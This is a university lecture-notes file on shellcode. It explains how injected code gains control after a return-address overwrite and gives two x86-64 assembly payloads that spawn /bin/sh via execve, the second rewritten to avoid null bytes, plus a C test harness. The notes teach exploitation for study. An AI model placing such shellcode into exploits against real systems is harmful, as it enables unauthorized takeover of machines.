lectures.alex.balgavy.eu

Lecture notes from university.
git clone git://git.alex.balgavy.eu/lectures.alex.balgavy.eu.git
Log | Files | Refs | Submodules

shellcode.md (2780B)


      1 +++
      2 title = 'Shellcode'
      3 +++
      4 # Shellcode
      5 Attacker's goal:
      6 - we found a vulnerability allowing overwriting return address
      7 - where do we point the return address?
      8     - we can only execute code in same process
      9     - so code that is already in program
     10     - or code that we inject
     11 
     12 Injecting code:
     13 - x86 CPUs do not distinguish code and data
     14 - if memory permissions allow, we can read/write code as data & execute data as program code
     15 - how to inject?
     16     - as parameter
     17     - as environment variable
     18     - provide as input
     19 - injected code must
     20     - work regardless of where it's stored in memory
     21     - not depend on any external code/libraries (we don't know their location)
     22     - not contain NULL bytes (would terminate if stored as a string)
     23     - do something that gives attacker control of the system, e.g start a shell
     24 
     25 System calls:
     26 - user code can't start program, kernel does that
     27 - tell kernel to do this using a system call
     28 - need `execve`, such as: `char argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL)`
     29 - so shellcode requirements:
     30     - string "/bin/sh" in memory
     31     - array in memory, containing pointer to "/bin/sh" and NULL pointer
     32     - pointer to the string in `%rdi` (`progname`)
     33     - pointer to the array in `%rsi` (`argv`)
     34     - NULL pointer in `%rdx` (`envp`)
     35     - system call number 0x3b in `%rax` (`execve`)
     36 
     37 Shellcode version 1:
     38 
     39 ```asm
     40 .data
     41 .globl shellcode
     42 shellcode:                          ; PROBLEMS:
     43     leaq string_addr(%rip), %rdi    ; offset 0x22 -> 0x00000022. has null bytes
     44     movb $0, 0x07(%rdi)             ; explicit NULL
     45     movq %rdi, 0x08(%rdi)
     46     movq $0, 0x10(%rdi)             ; explicit NULL
     47     leaq 0x08(%rdi), %rsi
     48     movq $0, %rdx
     49     movl $0x3b, %eax                ; long 0x3b -> 0x0000003b. has null bytes.
     50     syscall
     51 string_addr:
     52     .ascii "/bin/shNAAAAAAAABBBBBBBB"
     53     .byte 0
     54 ```
     55 
     56 Shellcode v2:
     57 
     58 ```asm
     59 .data
     60 .globl shellcode
     61 shellcode:
     62     jmp over_string
     63 string_addr:
     64     .ascii  "/bin/shNAAAAAAAABBBBBBBB"
     65 over_string:
     66     leaq string_addr(%rip), %rdi    ; offset is negative, so no nulls (0xffffffe1)
     67     xorl %eax, %eax                 ; zero %rax to avoid explicit 0
     68     movb %al, 0x07(%rdi)
     69     movq %rdi, 0x08(%rdi)
     70     movq %rax, 0x10(%rdi)           ; use %rax, avoiding explicit 0
     71     leaq 0x08(%rdi), %rsi
     72     movq %rax, %rdx                 ; use %rax, avoiding explicit 0
     73     movb $0x3b, %al                 ; byte reg, upper bytes all zero
     74     syscall
     75     .byte 0
     76 ```
     77 
     78 Run with:
     79 
     80 ```c
     81 #include <stdio.h>
     82 int main(int argc, char **argv) {
     83     extern char shellcode;
     84     void (*f)(void) = (void (*)(void)) &shellcode;
     85     f();
     86     fprintf(stderr, "this shouldn't print");
     87     return -1;
     88 }
     89 ```
     90 
     91 Compile and run:
     92 
     93 ```sh
     94 cc -o shellcode-test shellcode-test.c shellcode.s
     95 ./shellcode-test
     96 ```